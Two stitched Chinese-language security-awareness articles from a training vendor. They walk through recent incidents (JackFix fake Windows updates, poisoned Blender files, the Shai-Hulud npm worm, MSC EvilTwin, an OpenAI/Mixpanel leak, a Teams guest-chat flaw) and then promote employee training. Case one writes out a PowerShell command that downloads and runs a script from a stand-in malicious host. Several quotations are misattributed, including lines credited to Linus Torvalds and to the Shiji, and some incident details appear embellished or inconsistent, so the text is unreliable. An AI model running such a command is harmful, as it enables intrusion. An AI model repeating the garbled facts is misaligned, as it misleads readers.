网络安全的警钟:从四大典型案例看信息安全防护的必要性

“欲防未然,先学先懂。”——信息安全的根本在于全员的安全意识。只有把安全文化植入每一位员工的血液,才能在数字化、智能化的浪潮中稳坐舵位,防止“黑客”把我们的船只驶向暗礁。下面,我将以近期报道的四起典型安全事件为镜,带您细致剖析攻击手法、危害后果以及防御要点,帮助大家在即将启动的信息安全意识培训中快速进入状态,真正做到“不让安全漏洞成为业务的软肋”。


案例一:JackFix 伪装 Windows 更新的全新网络钓鱼(ClickFix 进化版)

事件概述

2025 年 11 月 27 日,全球知名安全厂商 Acronis 发布警报,指出一种新型网络钓鱼手法 JackFix 正在活跃。攻击者先通过恶意广告或搜索引擎劫持,将用户引导至伪装成成人网站的页面。用户只要点击页面任意元素,就会弹出一段高度仿真的 Windows 更新界面,覆盖整个浏览器窗口,并强制要求用户 复制、粘贴并执行 伪装的 PowerShell 命令完成“更新”。

攻击链解析

  1. 诱导入口:恶意广告(malvertising)或 SEO 劫持,把用户从正规搜索结果拉到钓鱼站点。
  2. 页面伪装:利用 HTML5 Canvas、CSS 动画和 JavaScript 动态生成假更新进度条,逼真程度堪比官方 Windows 更新。
  3. 命令注入:页面弹出提示,引导用户复制一段 powershell -NoProfile -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://malicious.xxx/update.ps1'))" 的脚本。
  4. 执行恶意载荷:若用户照做,PowerShell 会下载并执行后门或信息窃取器,常见目标包括 凭证文件系统 以及 网络共享

造成的危害

  • 凭证泄露:攻击者可直接窃取本地管理员或域管理员的账号密码。
  • 内部横向渗透:获得高权限后,攻击者可在企业网络内部进行横向移动,植入持久化后门。
  • 业务中断:恶意载荷常伴随勒索或破坏性指令,导致关键业务系统不可用。

防御建议

  • 禁用 PowerShell 远程执行:通过组策略或 Windows Defender Application Control 设定白名单,仅允许受信任脚本运行。
  • 强化浏览器安全:启用 浏览器扩展防钓鱼(如 uBlock Origin、NoScript)并关闭自动运行的脚本。
  • 安全意识培训:定期演练“不要随意复制粘贴陌生命令”的情景,提升员工对 PowerShell 警示的辨识度。

案例二:Blender .blend 文件隐藏的 StealC V2 与 Blenderx Stealer

事件概述

2025 年 10 月,安全公司 Morphisec 披露了一场针对 开源三维建模软件 Blender 用户的长期供应链攻击。攻击者在全球知名 3D 模型交易平台 CGTrader 上上架经过精心包装的 .blend 文件(即 Blender 项目文件),文件内部嵌入恶意 Python 脚本。用户在本地打开模型时,这段脚本会自动执行,从 Cloudflare Worker 服务器下载 PowerShell 加载器,再进一步拉取并部署两款信息窃取工具 StealC V2Blenderx Stealer

攻击链解析

  1. 模型上传:攻击者在公开的模型市集发布伪装精良的 3D 模型,文件名与流行题材相符。
  2. 自动执行:Blender 的 自动执行 Python 脚本 功能是默认开启的,导致打开 .blend 时即触发恶意代码。
  3. 云端下载:恶意脚本通过 urllib.request 向 Cloudflare Worker 拉取压缩包并解压到临时目录。
  4. 载入后门:PowerShell 加载器在本地创建 Scheduled Task,保持持久化;随后执行 StealC V2、Blenderx Stealer,窃取浏览器凭证、云服务密钥、甚至本地文件。

造成的危害

  • 云凭证泄露:攻击者能够获取 AWS、GCP、Azure 的 Access Key,导致云资源被盗、费用失控。
  • 企业机密外泄:设计图纸、原型模型等高价值资产被非法复制、出售。
  • 后门长期潜伏:即便删除模型文件,已植入的计划任务仍可持续窃取数据,给企业的后期检测带来难度。

防御建议

  • 关闭自动执行:在企业部署的 Blender 客户端上通过配置文件(blender_user_config.py)禁用 bpy.app.handlers.load_post 等自动触发的脚本。
  • 模型来源审计:仅从经过内部审计的可信模型库下载 .blend,并使用 数字签名 验证文件完整性。
  • 端点检测:部署基于行为的 EDR(Endpoint Detection and Response),监控异常的 PowerShell 下载与计划任务创建。

案例三:Shai‑Hulud 供应链蠕虫再度爆发(NPM 与 GitHub 大规模感染)

事件概述

2025 年 11 月 21‑23 日,九家安全厂商(Aikido、HelixGuard、JFrog 等)联合披露 Shai‑Hulud 2.0(亦称 Sha1‑Hulud)蠕虫的最新变种。攻击者在短短三天内向 NPM 注册中心提交 1,000+ 受感染的 Node.js 包,这些包能够自动在 GitHub 上搜索并 自我复制 到其他开源项目的 package.json 中,导致 2.7 万 个 GitHub 仓库被污染。感染后,蠕虫会使用 TruffleHog 扫描代码库泄露的云凭证(AWS、GCP、Azure),并将结果上传至公开的 GitHub 仓库,实现 信息泄露 → 资源滥用 → 金钱损失 的完整链路。

攻击链解析

  1. 恶意包上传:攻击者利用盗取的 NPM 账号或自动化脚本批量上传植入蠕虫的包(如 express-loggerlodash-utils 等)。
  2. 自我复制:蠕虫在安装后运行 npm install 时,利用 GitHub API 搜索含有 package.json 的仓库,并通过 Pull Request 自动提交自己的依赖。
  3. 凭证搜刮:在受感染的项目中运行 trufflehog --json .,抽取硬编码的密钥、.env 文件内容。
  4. 数据外泄:搜刮到的凭证通过 HTTP POST 请求发送至攻击者控制的服务器或直接推送至公开仓库。

造成的危害

  • 云资源被滥用:攻击者利用窃取的 Access Key 发起 Crypto‑jackingDDoS横向渗透
  • 品牌声誉受损:开源项目被污染后,使用者会对项目安全产生怀疑,导致用户流失。
  • 合规处罚:若泄露的凭证涉及个人敏感信息,企业可能面临 GDPR、CCPA 等监管机构的重罚。

防御建议

  • 严格的包审计:在 CI/CD 流程中集成 npm auditSnyk 等工具,对所有第三方依赖进行漏洞扫描与签名校验。
  • 最小权限原则:对云凭证实行 短期凭证IAM 条件策略,即使泄露也只能在受限范围内使用。
  • 源码泄露监控:使用 GitGuardianTruffleHog 实时监控代码库中的敏感信息,及时撤销并轮换凭证。

案例四:MSC EvilTwin 与 Water Gamayun 的复合攻击(PDF‑RAR 载荷)

事件概述

2025 年 3 月,微软发布安全通报 CVE‑2025‑26633,修复了 Microsoft Management Console(MMC)零时差漏洞 MSC EvilTwin。然而,俄罗 斯黑客组织 Water Gamayun 并未止步于此,2025 年 10 月再次利用该漏洞发起复合攻击。攻击者在合法网站的子域名上托管伪装成 PDFRAR 压缩包,用户在下载后双击即可触发 mmc.exe 加载恶意 DCOM 对象,随后执行 PowerShell 载荷,实现持久化和横向渗透。

攻击链解析

  1. 诱导下载:攻击者控制合法站点的子域或利用 DNS 劫持,在页面中嵌入 “下载报告(PDF)” 按钮,实际下载为 report.pdf.rar
  2. 文件双击:Windows 默认关联 .rar 为解压软件,解压后自动打开内部的 report.pdf。但该 PDF 中嵌入了 OLE 对象,触发 mmc.exe 漏洞。
  3. 漏洞利用:利用 CVE‑2025‑26633,攻击者在 mmc.exe 中注入恶意 DLL,进而调用 PowerShell 下载并执行后门。
  4. 持久化:后门通过 注册表 Run 关键字与 Scheduled Task 实现长期驻留。

造成的危害

  • 系统完整性受损:攻击者可在受感染主机上植入 rootkit,导致系统难以清理。
  • 内部网络渗透:借助域管理员权限,攻击者可遍历内部网络,收集敏感文件、邮件等。
  • 业务连续性风险:恶意代码可在关键业务窗口触发勒索或破坏性指令,导致业务中断。

防御建议

  • 及时补丁:所有 Windows 服务器与工作站必须在补丁发布 48 小时内 完成升级,尤其是 MMC 相关组件。
  • 文件下载安全策略:对外部文件使用 受限执行环境(AppLocker),阻止未知来源的可执行文件、脚本以及 OLE 对象。
  • 安全感知培训:强调“不要随意打开未知来源的压缩包或 PDF”,并展示实战案例,提高警觉性。

从案例看安全的“底层逻辑”

  1. 诱导入口多元化:从恶意广告、假冒网站到开源供应链,攻击者不再局限于传统邮件钓鱼,而是渗透到每一个数字交互点。
  2. 技术链路日趋复合:一次攻击可能融合 浏览器渲染脚本自动执行系统漏洞云凭证窃取,形成多段链路的“复合杀伤”
  3. 后期持久化与横向渗透:即便首次攻击成功,攻击者往往利用 计划任务、注册表、服务 等手段在目标网络深耕,形成 “潜伏+蹂躏” 的长期威胁。
  4. 供应链风险放大效应:一次恶意包的发布,可能在全球数万项目中复制,危害面呈指数级增长。

正因为如此,信息安全已不再是 IT 部门的专属职责,而是全体员工的共同使命。在数字化、智能化、自动化高度融合的今天,每一次点击、每一次拷贝、每一次部署,都可能成为“攻防战场”的前线


呼吁:全员参与信息安全意识培训,筑牢数字防线

1. 培训的必要性

  • 知识更新快:从 Zero‑DaySupply‑Chain,攻击技术迭代速度远超常规培训的更新频率。系统化的培训可帮助员工快速捕捉最新威胁情报。
  • 行为养成:安全是一种习惯,而非一次性的知识点。通过 情景演练案例复盘,让防护行为成为自发的日常操作。
  • 合规要求:多数行业法规(如 GDPR、ISO 27001、CIS Controls)已将 安全意识培训 列为合规必备,要想通过审计,离不开全员参与。

2. 培训的核心模块

模块 关键内容 实施方式
威胁认知 最新攻击案例、攻击者常用手段、行业趋势 线上微课 + 案例研讨
安全操作规范 强密码、两步验证、最小权限、文件下载原则 现场工作坊 + SOP 手册
技术防护 EDR、MFA、网络分段、零信任模型 现场演练 + 实战演练
应急响应 事件上报流程、取证要点、快速隔离 案例演练 + 桌面推演
合规与审计 合规框架、审计检查清单、报告撰写 线上讲座 + 小测验

3. 培训的创新玩法

  • 情景对抗赛:模拟钓鱼邮件、恶意模型下载等真实场景,团队比拼谁能最快识别并上报。
  • “安全灯塔”计划:设立部门安全示范岗,荣膺者可获得公司内部徽章、额外学习资源、年度安全积分。
  • 微学习+即时测评:每日推送 5 分钟安全小贴士,完成后即时测评,积分可兑换公司福利。

4. 你的行动指南(从今天起)

步骤 操作 目的
① 更新系统 确认电脑已装最新 Windows、Office、浏览器补丁 消除已知漏洞入口
② 启用 MFA 为公司账号、云服务、邮箱开启多因素认证 阻断凭证暴露后的横向渗透
③ 检查权限 定期审计本地管理员、特权账号,删除不必要的账号 降低内部滥用风险
④ 适度锁定 对外部可执行文件、脚本使用 AppLocker、软件限制策略 防止恶意脚本自动运行
⑤ 报告疑似 发现可疑邮件、文件、链接立刻通过内部渠道上报 形成快速响应闭环

只有把“安全是每个人的事”的理念根植于每一次工作细节,才能在信息化浪潮中稳固企业的核心竞争力。即将开启的信息安全意识培训正是我们共筑防线的第一块基石,期待每位同事踊跃参与、主动学习,用知识武装自己,让黑客的每一次尝试都化作一场空。

“千里之行,始于足下;防御之道,始于警觉。”让我们从今天起,从每一次点击、每一次复制、每一次部署做起,共同守护企业的数字资产,迎接更加安全、可信的数字未来。

企业信息安全政策的制定和执行是保护公司利益的重要环节。昆明亭长朗然科技有限公司提供从政策设计到员工培训的全方位服务,确保客户在各个层面都做好安全准备。感兴趣的企业请不要犹豫,联系我们以获取更多信息和支持。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898

安全在细节里 —— 从真实案例看信息安全的“防线”与“内核”

在信息化、数字化、智能化、自动化高速交织的今天,网络已渗透进企业生产、管理、营销乃至每一位职工的日常工作。正如古人云:“防微杜渐,方可永安”。如果把企业比作一座城池,那么每一台服务器、每一份邮件、每一次点击,都是城墙上的砖瓦;稍有疏漏,敌军(黑客)便有可乘之机。本文从两起典型且极具教育意义的安全事件出发,剖析事故根源、危害与防御思路;随后结合当前技术趋势,号召全体职工积极投身即将开启的信息安全意识培训,用知识与技能筑起坚不可摧的防线。


案例一:OpenAI API 用户数据泄露——Mixpanel 漏洞的“蝴蝶效应”

事件概述
2025 年 11 月,全球领先的 AI 平台 OpenAI 宣布其在使用第三方分析服务 Mixpanel 时出现数据泄露,实现用户行为日志的意外公开。虽然 ChatGPT 本身的模型数据未受影响,但数百万开发者 API 调用记录、请求频率、计费信息等敏感元数据在未经授权的情况下被外部爬取。

事故细节
1. 跨域访问失控:Mixpanel 的仪表盘默认开启了“公共分享链接”,导致任何拥有链接的第三方均可查询对应项目的分析报告。
2. 权限模型缺失:OpenAI 在对外部服务授权时,仅使用了单一 API‑Key,而未采用细粒度的角色权限(RBAC),导致泄露后攻击者可以直接利用该 Key 读取全部数据。
3. 日志暴露:部分日志文件未加密存储于云端对象存储桶(S3),且存储桶的访问策略设置为 “public‑read”,形成信息泄露的直接通道。

危害评估
商业情报泄露:竞争对手可通过抽取 API 调用频次与计费数据,推断 OpenAI 在特定行业的渗透率、热点功能及定价策略。
用户隐私风险:开发者的项目名称、调用来源 IP、甚至部分业务场景(如金融、医疗)被公开,间接暴露了其业务机密与合规风险。
合规罚款:若涉及欧盟 GDPR 或中国网络安全法规定的个人信息处理,企业将面临高额罚款及声誉损失。

教训提炼
1. 最小特权原则:对第三方服务的授权必须采用细粒度权限,仅开放业务必需的最小范围。
2. 安全配置审计:定期审计云资源的访问控制列表(ACL)与存储桶策略,防止默认公开。
3. 加密与脱敏:敏感日志应采用传输层加密(TLS)与静态加密(AES‑256),并在日志写入前进行脱敏处理。
4. 第三方供应链防护:在引入 SaaS、PAAS 服务时,执行供应链安全评估(SCA),并签订数据处理协议(DPA)以约束数据使用。


案例二:Microsoft Teams 客人聊天功能漏洞——恶意文件传播的“快递”

事件概述
2025 年 10 月,安全研究员在 Microsoft Teams 的“Guest Chat(客人聊天)”功能中发现一个文件上传路径缺陷。利用该缺陷,攻击者加入组织的 Teams 会议后,可将任意可执行文件(如 .exe、.js)伪装为普通图片或文档,发送给内部成员。受害者若在 Teams 客户端直接点击预览,即触发恶意代码执行,进而在企业网络内部植入后门木马。

事故细节
1. 文件类型校验不足:系统仅依据文件扩展名判断可接受类型,而未对文件头(Magic Number)进行二次校验。
2. 缺乏沙箱隔离:Teams 客户端在本地直接使用系统默认程序打开文件,未实现安全沙箱或文件隔离。
3. 权限继承错误:客人账号被授予了与内部成员相同的文件分享权限,导致恶意文件可以横向传播至全体成员。

危害评估
内网渗透:恶意木马可建立 C2 通道,窃取企业内部机密、凭证,甚至横向移动至关键业务系统。
业务中断:若攻击者植入勒索软件,可能导致关键文档、邮件系统、客户数据被加密,产生数百万美元的直接损失。
合规风险:涉及数据泄露的行业(金融、医疗)将面临监管处罚及客户索赔。

教训提炼
1. 多层文件检测:对上传文件实施扩展名、MIME 类型、文件头等多维度校验,拒绝可执行文件的直接预览。
2. 安全沙箱:在客户端引入安全沙箱或使用 Office Online 的在线预览功能,避免本地执行。
3. 最小化权限:对客人账号进行严格的权限划分,仅允许必要的协作功能,杜绝文件分享的默认开启。
4. 安全培训:教育员工“未知来源文件不点、不下载”,并在企业内部推行“文件安全审计”制度。


1️⃣ 信息安全的四大基石:技术、流程、文化、意识

从上述案例我们可以看到,技术漏洞只是表象,真正导致灾难的往往是流程缺失与意识薄弱。在现代企业,安全应当落在四个维度:

基石 含义 关键实践
技术 防护硬件、软件、网络层面的硬件安全与加密机制 零信任架构、端点检测与响应(EDR)、持续漏洞管理
流程 标准化的安全运维、应急响应与审计流程 Incident Response(IR)计划、定期红蓝对抗、合规审计
文化 安全价值观在组织内部的渗透与共享 安全冠军制度、跨部门安全例会、公开分享安全事件
意识 员工对威胁的感知、判断与自我防护能力 安全培训、钓鱼演练、知识测验与激励机制

技术可以帮助我们构建“城墙”,流程则是城墙的“城门”,文化是城池的“守城士兵”,而意识才是每位职工的“盾牌”。四者缺一不可,缺失任何一环,都可能让黑客有机可乘。


2️⃣ 当下的技术趋势:数字化、智能化、自动化的双刃剑

2.1 数字化转型

企业在推动 ERP、CRM、SCM 等系统的云化、SaaS 化过程中,海量业务数据被统一搬迁至云端,形成了数据湖。虽然提升了业务敏捷性,却让数据边界变得模糊,数据泄露面随之扩大。

“数字化不等于安全化,安全必须是数字化的前置条件。”——《信息安全管理指南》

防护要点:采用数据分类分级、加密存储、细粒度访问控制(ABAC)以及统一身份鉴权(IAM)平台,实现“一人一岗,一岗一责”。

2.2 人工智能与机器学习

AI 正在帮助 日志分析异常检测威胁情报关联等环节实现自动化。如案例一中,OpenAI 已尝试使用 LLM 对 CI/CD 失败日志进行根因分析,提升了响应速度。

风险:AI 模型本身也会成为攻击目标(模型投毒、对抗样本)。因此,在引入 AI 之前,务必完成 AI 安全评估,并对模型输出进行 审计与回溯

2.3 自动化运维(DevSecOps)

CI/CD 流水线的自动化部署让业务交付更快,但如果安全审计未嵌入流水线,代码缺陷、依赖漏洞等会直接进入生产环境。安全即代码(Security as Code)理念要求将扫描、审计、合规检查写入 CI 脚本。

“安全不是事后补丁,而是每一次提交的必选项。”——Linus Torvalds

2.4 物联网(IoT)与边缘计算

随着智能摄像头、无人机、传感器等设备的普及,边缘节点成为新的攻击入口。它们往往缺乏更新机制,固件漏洞常年得不到修补。

防御:对所有 IoT 设备实行 统一管理平台固件签名校验最小化网络暴露(VLAN、ACL)以及 终端安全代理


3️⃣ 信息安全意识培训的必要性:从“被动防御”到“主动免疫”

在任何技术防护的背后,是最关键的环节。仅靠防火墙、IDS、端点防护软件是远远不够的。信息安全意识培训的目标是让每位员工在面对潜在威胁时,能够快速辨识、合理处置、主动报告。

3.1 培训的核心模块

模块 关键内容 目标指标
网络钓鱼防御 识别钓鱼邮件特征、URL 伪装、社交工程手段 90% 员工在模拟钓鱼测试中不点击
数据分类与加密 业务数据分级、文件加密工具(SMIME、AES)、移动端加密 100% 机密文件使用加密传输
密码管理 强密码策略、密码管理工具(1Password、Bitwarden) 95% 员工使用密码管理器
安全的云协作 共享链接权限控制、云存储的访问审计 80% 云文件共享使用最小权限
应急响应 事件报告流程、联系人清单、快速隔离措施 30分钟内完成初步报告
AI 与自动化的安全 LLM 输出审计、模型投毒防护、自动化脚本安全审查 100% 自动化脚本通过安全审计

3.2 培训方式的多样化

  1. 线上微课(5‑10 分钟短视频)——碎片化学习,配合 学习强国 打卡。
  2. 情景模拟(红队/蓝队演练)——通过实际渗透场景,让员工体验攻击者思维。
  3. 案例研讨(每周一次)——结合公司内部或行业热点案例,进行深度剖析。
  4. 知识竞赛(季度一次)——采用 答题抢红包积分榜 等激励机制,提高参与度。
  5. 安全大使计划——挑选技术骨干担任 安全大使,在部门内部传播最佳实践。

3.3 培训的价值量化

指标 参考值 备注
安全事件响应时间 从 3 小时降低至 30 分钟 通过培训提高报案及时性
钓鱼点击率 从 12% 降至 < 2% 模拟钓鱼测试后评估
合规审计通过率 从 78% 提升至 95% 安全培训促使流程合规
员工满意度 增加 15%(培训后的问卷) 互动式培训提升体验

4️⃣ 行动呼吁:让每一位职工成为信息安全的“守门人”

“千里之堤,溃于蚁穴;万丈高楼,起于垒土。”
—《史记·货殖传》
信息安全亦是如此:若不在细节处筑牢防线,巨大的企业资产将因一次“蚂蚁”般的疏忽而土崩瓦解。

4️⃣1 我们的培训计划

  • 启动时间:2025 年 12 月 5 日(周五),为期 四周的线上+线下混合式课程。
  • 适用对象:全体员工(含临时合同工、实习生),特别是 研发、运维、市场、HR、财务 等业务核心岗位。
  • 课程安排
周次 主题 学时 形式
第1周 信息安全基础与政策 2h 在线直播 + PPT
第2周 网络钓鱼、社交工程实战 3h 互动演练 + 案例分析
第3周 云协作安全与数据加密 2h 微课 + 实操实验
第4周 AI/自动化安全与应急响应 3h 红队/蓝队模拟 + 案例复盘
  • 考核方式:每周小测 + 结业项目(模拟一次安全事件响应),合格者颁发《信息安全合规证书》,并纳入年度绩效加分。

4️⃣2 我们期待的改变

  1. 从“被动防御”转向“主动免疫”:每位员工在遭遇可疑邮件、文件或链接时,能够快速判断并采取安全措施。
  2. 形成跨部门安全协作网络:安全大使将在日常工作中主动分享安全经验,形成“安全即沟通”的文化氛围。
  3. 提升组织整体安全成熟度:通过持续培训,推动公司安全等级从 C(可接受) 升至 B(良好),为未来的 ISO 27001CSF 认证奠定基础。

“口碑是最好的广告,安全是最好的口碑。”
当客户、合作伙伴看到我们对信息安全的严谨态度时,信任自然会随之加分。


5️⃣ 结语:让安全成为每个人的日常习惯

信息安全不再是少数 IT 人员的专属任务,它是一种 全员参与、全流程覆盖 的综合治理。正如我们在案例中看到的,两起看似“技术漏洞”的事故,背后都有 人为因素 的参与——不恰当的权限配置、缺乏安全意识的点击、对外部服务的盲目信任。只要每位职工在日常工作中坚持以下几点,就能在根本上削弱攻击者的可乘之机:

  1. 每一次点击都要三思——确认发件人、链接真实性以及文件来源。
  2. 每一次共享都要最小化——使用期限限制、访问密码、只分享必要内容。
  3. 每一次异常都要报告——不论是系统提示、登录异常还是陌生邮件,及时上报安全团队。
  4. 每一次学习都要实践——将培训中的技巧融入实际操作,形成肌肉记忆。

让我们把 “安全” 从口号转化为 “习惯”,从“一次性培训”转为 “持续迭代”。未来五年,AI 将帮助我们实现自动化的风险检测与自愈;但人工的警觉、协作与责任感永远是 “最后一道防线”。**只要我们共同努力,黑客的每一次“敲门”,都只能换来一次礼貌的“请勿打扰”。


安全不是终点,而是永不停歇的旅程。让我们从今天起,以知识为盾,以行动为剑,守护企业的数字城池,守护每一位同事的职业尊严。

信息安全意识培训,让我们一起上路!

安全无小事,防护从我做起。

昆明亭长朗然科技有限公司致力于为客户提供专业的信息安全、保密及合规意识培训服务。我们通过定制化的教育方案和丰富的经验,帮助企业建立强大的安全防护体系,提升员工的安全意识与能力。在日益复杂的信息环境中,我们的服务成为您组织成功的关键保障。欢迎您通过以下方式联系我们。让我们一起为企业创造一个更安全的未来。

  • 电话:0871-67122372
  • 微信、手机:18206751343
  • 邮件:info@securemymind.com
  • QQ: 1767022898